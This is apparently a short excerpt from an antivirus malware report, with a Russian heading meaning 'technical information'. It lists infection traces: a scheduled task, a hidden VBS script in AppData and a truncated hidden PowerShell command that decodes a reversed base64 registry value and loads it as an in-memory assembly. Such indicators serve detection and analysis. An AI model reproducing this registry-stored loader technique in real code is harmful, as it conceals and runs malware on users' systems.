Техническая информация
- <SYSTEM32>\tasks\ixyocyllzayqaho
- %APPDATA%\ixyocyllzayqaho.vbs
- '<SYSTEM32>\wscript.exe' "%APPDATA%\IXYocyLlZAyqAHo.VBS"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command $ll='HKCU:\Software\IXYocyLlZAyqAHo';$v='test';$ee=gp $ll;$uu=[Convert]::FromBase64String(($ee.$v|%{$_[-1..-($_.Length)]}) -join '');[System.Reflection.Assembly]::L... (со скрытым окном)
- '<SYSTEM32>\taskeng.exe' {F3249D1C-3347-4DB6-88A3-C6A8F59843B6} S-1-5-21-3691498038-2086406363-2140527554-1000:comlzwl\user:Interactive:[1]
- '<SYSTEM32>\wscript.exe' "%APPDATA%\IXYocyLlZAyqAHo.VBS" (со скрытым окном)